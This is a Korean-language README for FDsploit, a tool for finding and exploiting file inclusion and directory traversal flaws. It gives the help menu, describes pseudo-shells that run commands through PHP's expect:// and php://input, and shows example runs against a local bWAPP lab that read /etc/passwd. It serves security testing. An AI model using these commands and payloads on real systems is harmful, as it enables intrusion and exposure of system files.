
파일 포함 및 디렉토리 트래버설 퍼징, 열거 및 익스플로잇 도구.
FDsploit 메뉴:
$ python fdsploit.py -h
_____ ____ _ _ _
| __| \ ___ ___| |___|_| |_
| __| | |_ -| . | | . | | _|
|__| |____/|___| _|_|___|_|_|
|_|...ver. 1.2
Author: Christoforos Petrou (game0ver) !
usage: fdsploit.py [-u | -f ] [-h] [-p] [-d] [-e {0,1,2}] [-t] [-b] [-x] [-c]
[-v] [--params [...]] [-k] [-a] [--cmd]
[--lfishell {None,simple,expect,input}]
FDsploit.py: Automatic (L|R)FI & directory traversal enumeration & exploitation.
Required (one of the following):
-u , --url Specify a url or
-f , --file Specify a file containing urls
Optional:
-h, --help Show this help message and exit
-p , --payload Specify a payload-file to look for [default None]
-d , --depth Specify max depth for payload [default 5]
-e {0,1,2}, --urlencode {0,1,2}
Url-encode the payload [default: False]
-t , --tchar Use a termination character ('%00' or '?') [default None]
-b, --b64 Use base64 encoding [default False]
-x , --proxy Specify a proxy to use [form: host:port]
-c , --cookie Specify a session-cookie to use [default None]
-v , --verb Specify request type ('GET' or 'POST') [default GET]
--params [ ...] Specify POST parameters to use (applied only with POST requests)
Form: param1:value1,param2:value2,...
-k , --keyword Search for a certain keyword(s) on the response [default: None]
-a, --useragent Use a random user-agent [default user-agent: FDsploit_1.2_agent]
--cmd Test for command execution through PHP functions [default command: None]
--lfishell {None,simple,expect,input}
LFI pseudoshell [default None]
[!] For More Details please read the README.md file!
FDsploit은 로컬/원격 파일 포함(Local/Remote File Inclusion) 및 디렉터리 트래버설 취약점을 자동으로 발견하고 익스플로잇하는 데 사용할 수 있습니다. LFI 취약점이 발견된 경우 --lfishell 옵션을 사용하여 익스플로잇할 수 있습니다. 현재는 __3__가지 유형의 LFI 셸이 지원됩니다:
simple: 이 셸 유형은 사용자가 매번 URL을 입력하지 않고도 파일을 쉽게 읽을 수 있게 해줍니다. 또한 페이지의 전체 HTML 소스 코드가 아닌 파일의 출력만 제공하므로 매우 유용합니다.expect: 이 셸 유형은 PHP의 expect:// 래퍼를 통해 명령어를 실행할 수 있는 반-대화형(semi-interactive) 셸입니다.input: 이 셸 유형은 PHP의 php://input 스트림을 통해 명령어를 실행할 수 있는 반-대화형 셸입니다.현재까지 lfi-셸 내장 명령어는 두 가지가 있습니다:
clear 및exit.*)를 사용하여 특정 파라미터를 테스트 대상으로 지정할 수 있습니다.아래 출력을 보면 directory 파라미터가 디렉터리 트래버설 취약점에 취약한 것으로 보입니다. ../를 페이로드로 사용한 모든 요청이 다른 sha-256 해시를 생성하고, 각 요청마다 content-length도 다르기 때문입니다:
./fdsploit.py -u 'http://127.0.0.1:8888/test/bWAPP/bWAPP/directory_traversal_2.php?directory=documents' -c 'PHPSESSID=7acf1c5311fee614d0eb40d7f3473087; security_level=0' -d 8
마찬가지로 language 파라미터는 LFI에 취약해 보입니다. ../etc/passwd 등을 페이로드로 사용했을 때, 초록색으로 표시된 각 요청이 초기값과 다른 해시와 content-length를 생성하고, 응답에서 지정한 키워드가 발견되었기 때문입니다:
./fdsploit.py -u 'http://127.0.0.1:8888/test/bWAPP/bWAPP/rlfi.php?language=*&action=go' -c 'PHPSESSID=7acf1c5311fee614d0eb40d7f3473087; security_level=0' -d 7 -k root -p /etc/passwd
위 LFI를 simple 셸로 익스플로잇한 모습:
POST 동사 사용 시 --params 옵션도 함께 지정해야 합니다.--payload 옵션을 기본값(None)으로 두어야 합니다.--file 옵션을 사용할 경우 GET 요청만 지원됩니다.--file과 --cookie 옵션을 둘 다 설정한 경우, 한 번에 하나의 쿠키만 지정할 수 있으므로 URL은 동일한 도메인을 참조하거나 쿠키 없이 접근 가능해야 합니다(이 부분은 향후 업데이트에서 수정 예정).input 셸은 POST 동사와 호환되지 않습니다.참고: 요구 사항 설치 방법:
pip install -r requirements.txt --upgrade --user
💡 FDsploit은 BlackArch Linux 배포판에 기본 포함되어 있습니다.
--file이 POST 파라미터 및 쿠키와 함께 작동하도록 개선 (아마도 json 등 파일을 입력으로 사용).--lfishell에 내장 명령어 추가 (예: history 등).피드백과 기여를 환영합니다. 버그를 발견하거나 기능 요청이 있으면 언제든지 이슈를 열어주세요. 검토 후 가능한 한 수정하겠습니다!
이 도구는 테스트 및 학술 목적으로만 사용되며, 명시적 동의가 있는 경우에만 사용할 수 있습니다. 불법 목적으로 사용하지 마십시오! 모든 관련 지역, 주 및 연방 법률을 준수하는 것은 최종 사용자의 책임입니다. 개발자는 이 도구 및 소프트웨어의 오용이나 손해에 대해 어떠한 책임도 지지 않습니다.
이 프로젝트는 GPLv3 라이선스 하에 제공됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.